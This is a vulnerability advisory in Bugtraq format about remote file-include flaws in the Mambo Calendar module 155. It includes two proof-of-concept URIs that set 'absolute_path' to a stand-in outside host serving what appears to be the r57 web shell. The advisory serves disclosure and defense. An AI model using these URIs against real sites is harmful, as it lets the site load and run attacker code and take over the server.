Mambo Calendar Module Absolute_Path Multiple Remote File Include Vulnerabilities

Bugtraq ID:	23435
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 11 2007 12:00AM
Updated:	Apr 12 2007 05:21PM
Credit:	Cold z3ro is credited with the discovery of these vulnerabilities.
Vulnerable:	Mambo Calendar Module 155
Not Vulnerable:

Mambo Calendar Module Absolute_Path Multiple Remote File Include Vulnerabilities

Mambo Calendar is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

These issues affect Calendar 155; other versions may also be vulnerable.

Mambo Calendar Module Absolute_Path Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/components/calendar/com_calendar.php?absolute_path=http://www.example2.com/r57.txt?
http://www.example.com/modules/calendar/mod_calendar.php?absolute_path=http://www.example2.com/r57.txt?

Mambo Calendar Module Absolute_Path Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

Mambo Calendar Module Absolute_Path Multiple Remote File Include Vulnerabilities

References:

• Mambo Home Page (Mambo )